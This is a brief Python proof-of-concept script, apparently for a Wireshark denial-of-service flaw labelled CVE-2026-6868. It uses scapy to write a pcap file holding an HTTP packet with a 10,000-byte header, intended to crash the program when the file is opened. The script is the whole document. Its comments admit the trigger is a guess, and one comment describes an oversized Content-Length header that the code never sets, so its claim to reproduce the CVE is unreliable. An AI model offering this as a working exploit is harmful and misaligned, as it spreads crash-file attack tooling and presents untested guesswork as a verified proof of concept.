The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-6868
# This script generates a malformed HTTP packet that may crash Wireshark.
# Run this script to generate 'crash.pcap', then open it in a vulnerable Wireshark version.
from scapy.all import *
# Create a malformed HTTP packet with an oversized header field
# The specific trigger depends on the root cause, often large headers or invalid chunk sizes.
# Here we simulate a large Content-Length header which might trigger an integer overflow or buffer issue.
malformed_packet = IP(dst="127.0.0.1")/TCP(dport=80, sport=12345)/Raw(
load=b"GET / HTTP/1.1\r\n"
b"Host: example.com\r\n"
b"X-Malicious-Header: " + b"A" * 10000 + b"\r\n"
b"\r\n"
)
# Save to pcap
wrpcap("crash.pcap", malformed_packet)
print("PoC file 'crash.pcap' generated. Open this file in Wireshark to test.")